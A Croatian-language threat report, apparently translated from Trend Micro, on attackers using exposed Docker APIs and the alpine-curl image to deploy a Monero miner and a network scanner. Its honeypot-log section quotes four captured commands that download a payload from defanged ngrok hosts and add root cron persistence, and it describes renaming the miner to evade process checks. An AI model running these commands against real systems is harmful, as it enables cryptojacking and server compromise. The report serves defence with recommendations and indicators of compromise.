Kako se nevlasnički Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta

Kako se nevlasnički Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta

Analizirali smo podatke prikupljene pomoću honeypot spremnika, koje smo izradili za praćenje prijetnji. I otkrili smo značajnu aktivnost neželjenih ili neovlaštenih rudara kriptovalute raspoređenih kao lažni spremnici pomoću slike koju je objavila zajednica na Docker Hubu. Slika se koristi kao dio usluge koja isporučuje zlonamjerne rudare kriptovaluta.

Dodatno, instalirani su programi za rad s mrežama za prodiranje u otvorene susjedne spremnike i aplikacije.

Naše honeypots ostavljamo onakvima kakvi jesu, odnosno sa zadanim postavkama, bez ikakvih sigurnosnih mjera ili naknadne instalacije dodatnog softvera. Napominjemo da Docker ima preporuke za početno postavljanje kako bi se izbjegle pogreške i jednostavne ranjivosti. Ali honeypotovi koji se koriste su spremnici, dizajnirani za otkrivanje napada usmjerenih na platformu za kontejnerizaciju, a ne aplikacije unutar spremnika.

Otkrivena zlonamjerna aktivnost također je značajna jer ne zahtijeva ranjivosti i također je neovisna o verziji Dockera. Pronalazak neispravno konfigurirane i stoga otvorene slike spremnika sve je što napadačima treba da zaraze mnoge otvorene poslužitelje.

Nezatvoreni Docker API omogućuje korisniku izvođenje širokog spektra timovi, uključujući dobivanje popisa aktivnih spremnika, dobivanje zapisa iz određenog spremnika, pokretanje, zaustavljanje (uključujući prisilno) pa čak i stvaranje novog spremnika iz određene slike s određenim postavkama.

Kako se nevlasnički Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
S lijeve strane je način isporuke zlonamjernog softvera. Na desnoj strani nalazi se napadačevo okruženje, koje omogućuje udaljeno izbacivanje slika.

Kako se nevlasnički Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Distribucija 3762 otvorena Docker API-ja prema zemlji. Na temelju Shodan pretrage od 12.02.2019

Lanac napada i mogućnosti nosivosti

Zlonamjerna aktivnost nije otkrivena samo uz pomoć honeypots. Podaci iz Shodana pokazuju da se broj izloženih Docker API-ja (vidi drugi grafikon) povećao otkako smo istražili pogrešno konfigurirani spremnik koji se koristio kao most za implementaciju Monero softvera za rudarenje kriptovalute. U listopadu prošle godine (2018., trenutni podaci možete izgledati ovako cca. prevoditelj) bilo je samo 856 otvorenih API-ja.

Ispitivanje honeypot zapisa pokazalo je da je korištenje slike spremnika također povezano s korištenjem ngrok, alat za uspostavljanje sigurnih veza ili prosljeđivanje prometa s javno dostupnih točaka na određene adrese ili resurse (na primjer localhost). To napadačima omogućuje dinamičku izradu URL-ova prilikom isporuke tereta otvorenom poslužitelju. Ispod su primjeri kodova iz zapisa koji pokazuju zlouporabu usluge ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Kao što vidite, učitane datoteke preuzimaju se s URL-ova koji se stalno mijenjaju. Ovi URL-ovi imaju kratak rok valjanosti, tako da se sadržaji ne mogu preuzeti nakon datuma isteka.

Postoje dvije opcije nosivosti. Prvi je kompajlirani ELF rudar za Linux (definiran kao Coinminer.SH.MALXMR.ATNO) koji se povezuje na bazen za rudarenje. Drugi je skripta (TrojanSpy.SH.ZNETMAP.A) dizajnirana za dobivanje određenih mrežnih alata koji se koriste za skeniranje mrežnih raspona i zatim traženje novih ciljeva.

Dropper skripta postavlja dvije varijable koje se zatim koriste za implementaciju rudara kriptovalute. Varijabla HOST sadrži URL na kojem se nalaze zlonamjerne datoteke, a varijabla RIP je naziv datoteke (u stvari, hash) rudara koji će se implementirati. HOST varijabla se mijenja svaki put kada se promijeni hash varijabla. Skripta također pokušava provjeriti ne rade li neki drugi rudari kriptovalute na napadnutom poslužitelju.

Kako se nevlasnički Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Primjeri HOST i RIP varijabli, kao i isječak koda koji se koristi za provjeru da nijedan drugi rudar ne radi

Prije pokretanja rudara, on se preimenuje u nginx. Ostale verzije ove skripte preimenuju rudar u druge legitimne usluge koje mogu biti prisutne u Linux okruženjima. To je obično dovoljno da se zaobiđu provjere popisa pokrenutih procesa.

Skripta za pretraživanje također ima značajke. Radi s istom URL uslugom za implementaciju potrebnih alata. Među njima je zmap binary, koji se koristi za skeniranje mreža i dobivanje popisa otvorenih portova. Skripta također učitava drugu binarnu datoteku koja se koristi za interakciju s pronađenim uslugama i prima bannere od njih kako bi se utvrdile dodatne informacije o pronađenoj usluzi (na primjer, njezina verzija).

Skripta također unaprijed određuje neke mrežne raspone za skeniranje, ali to ovisi o verziji skripte. Također postavlja ciljne priključke iz usluga—u ovom slučaju, Docker—prije pokretanja skeniranja.

Čim se pronađu mogući ciljevi, banneri se automatski uklanjaju s njih. Skripta također filtrira ciljeve ovisno o uslugama, aplikacijama, komponentama ili platformama od interesa: Redis, Jenkins, Drupal, MODX, Kubernetes majstor, Docker 1.16 klijent i Apache CouchDB. Ako skenirani poslužitelj odgovara bilo kojem od njih, sprema se u tekstualnu datoteku, koju napadači kasnije mogu koristiti za naknadnu analizu i hakiranje. Te se tekstualne datoteke učitavaju na poslužitelje napadača putem dinamičkih veza. Odnosno, za svaku datoteku koristi se zaseban URL, što znači da je kasniji pristup otežan.

Vektor napada je Docker slika, kao što se može vidjeti u sljedeća dva dijela koda.

Kako se nevlasnički Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Na vrhu je preimenovanje u legitimnu uslugu, a na dnu kako se zmap koristi za skeniranje mreža

Kako se nevlasnički Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Na vrhu su unaprijed definirani mrežni rasponi, na dnu su specifični priključci za traženje usluga, uključujući Docker

Kako se nevlasnički Docker API i javne slike iz zajednice koriste za distribuciju rudara kriptovaluta
Snimka zaslona pokazuje da je slika alpine-curl preuzeta više od 10 milijuna puta

Na temelju Alpine Linuxa i curla, resursno učinkovitog CLI alata za prijenos datoteka preko različitih protokola, možete izgraditi Docker slika. Kao što možete vidjeti na prethodnoj slici, ova je slika već preuzeta više od 10 milijuna puta. Velik broj preuzimanja može značiti korištenje ove slike kao ulazne točke; ova je slika ažurirana prije više od šest mjeseci; korisnici nisu tako često preuzimali druge slike iz ovog repozitorija. U Dockeru točka ulaska - skup uputa koje se koriste za konfiguriranje spremnika za njegovo pokretanje. Ako su postavke ulazne točke netočne (na primjer, spremnik je ostavljen otvoren s interneta), slika se može koristiti kao vektor napada. Napadači ga mogu koristiti za isporuku korisnog tereta ako pronađu pogrešno konfiguriran ili otvoren spremnik koji nije podržan.

Važno je napomenuti da ova slika (alpine-curl) sama po sebi nije zlonamjerna, ali kao što možete vidjeti gore, može se koristiti za izvođenje zlonamjernih funkcija. Slične Docker slike također se mogu koristiti za izvođenje zlonamjernih aktivnosti. Kontaktirali smo Docker i radili s njima na ovom problemu.

Preporuke

Neispravna postavka ostaci stalni problem za mnoge tvrtke, posebno one koje implementiraju DevOps, usmjeren na brz razvoj i isporuku. Sve je otežano potrebom poštivanja pravila revizije i nadzora, potrebom praćenja povjerljivosti podataka, kao i golemom štetom od njihovog nepoštivanja. Uključivanje sigurnosne automatizacije u životni ciklus razvoja ne samo da vam pomaže u pronalaženju sigurnosnih rupa koje bi inače mogle ostati neotkrivene, već vam također pomaže smanjiti nepotrebno radno opterećenje, kao što je izvođenje dodatnih nadogradnji softvera za svaku otkrivenu ranjivost ili pogrešnu konfiguraciju nakon postavljanja aplikacije.

Incident o kojem se govori u ovom članku naglašava potrebu da se o sigurnosti vodi računa od samog početka, uključujući sljedeće preporuke:

  • Za administratore sustava i programere: Uvijek provjerite svoje API postavke kako biste bili sigurni da je sve konfigurirano da prihvaća samo zahtjeve s određenog poslužitelja ili interne mreže.
  • Slijedite načelo najmanjih prava: osigurajte da su slike spremnika potpisane i provjerene, ograničite pristup kritičnim komponentama (usluga pokretanja spremnika) i dodajte enkripciju mrežnim vezama.
  • slijediti preporuke i omogućiti sigurnosne mehanizme, npr. iz Dockera i ugrađeni sigurnosne značajke.
  • Koristite automatizirano skeniranje vremena izvođenja i slika za dobivanje dodatnih informacija o procesima koji se izvode u spremniku (na primjer, za otkrivanje prijevare ili traženje ranjivosti). Kontrola aplikacije i nadzor integriteta pomažu u praćenju abnormalnih promjena na poslužiteljima, datotekama i područjima sustava.

Trendmicro pomaže DevOps timovima u sigurnoj izgradnji, brzom uvođenju i pokretanju bilo gdje. Trend Micro Hybrid Cloud Security Pruža moćnu, pojednostavljenu i automatiziranu sigurnost u cjevovodu DevOps organizacije i pruža obranu od višestrukih prijetnji XGen za zaštitu fizičkih, virtualnih i radnih opterećenja u oblaku tijekom izvođenja. Također dodaje sigurnost kontejnera sa Duboka sigurnost и Duboka sigurnosna pametna provjera, koji skeniraju slike Docker spremnika u potrazi za zlonamjernim softverom i ranjivostima u bilo kojem trenutku razvojnog procesa kako bi spriječili prijetnje prije nego što se implementiraju.

Znakovi kompromisa

Povezani hashovi:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Na Docker video tečaj Govornici praktičari pokazuju koje postavke je potrebno prvo napraviti kako bi se smanjila vjerojatnost ili potpuno izbjegla pojava gore opisane situacije. A od 19. do 21. kolovoza na online intenzivnom DevOps alati i varalice O ovim i sličnim sigurnosnim problemima možete razgovarati s kolegama i učiteljima praktičarima na okruglom stolu, gdje se svi mogu izjasniti i poslušati muke i uspjehe iskusnih kolega.

Izvor: www.habr.com

Dodajte komentar